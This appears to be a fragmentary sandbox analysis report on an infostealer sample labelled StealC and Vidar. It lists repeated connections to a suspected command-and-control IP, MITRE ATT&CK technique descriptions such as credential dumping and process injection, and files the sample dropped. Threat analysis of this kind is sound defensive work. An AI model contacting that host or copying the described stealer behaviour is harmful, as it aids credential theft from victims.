Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFHIJEBK

C:\ProgramData\DGDBFBFCBFBKECAAKJKFBAEBGI

C:\ProgramData\ECFCBKJDBFIJKFHIIDAAKKKKFC

C:\ProgramData\EHDHIDAEHCFHJJJJECAA

C:\ProgramData\GDHDHJEBGHJKFIECBGCBGCAFII

C:\ProgramData\IJJJKEGHJKFHJKFHDHCF

C:\ProgramData\KEBKJDBAAKJDGCBFHCFC

C:\ProgramData\KFCAFIID

C:\ProgramData\KKFCFBKFCFBFIDGCGDHJDBKFHC

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Function 00EF9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00EE45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00EEBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C7B35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00EF4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00EF9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00EE7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre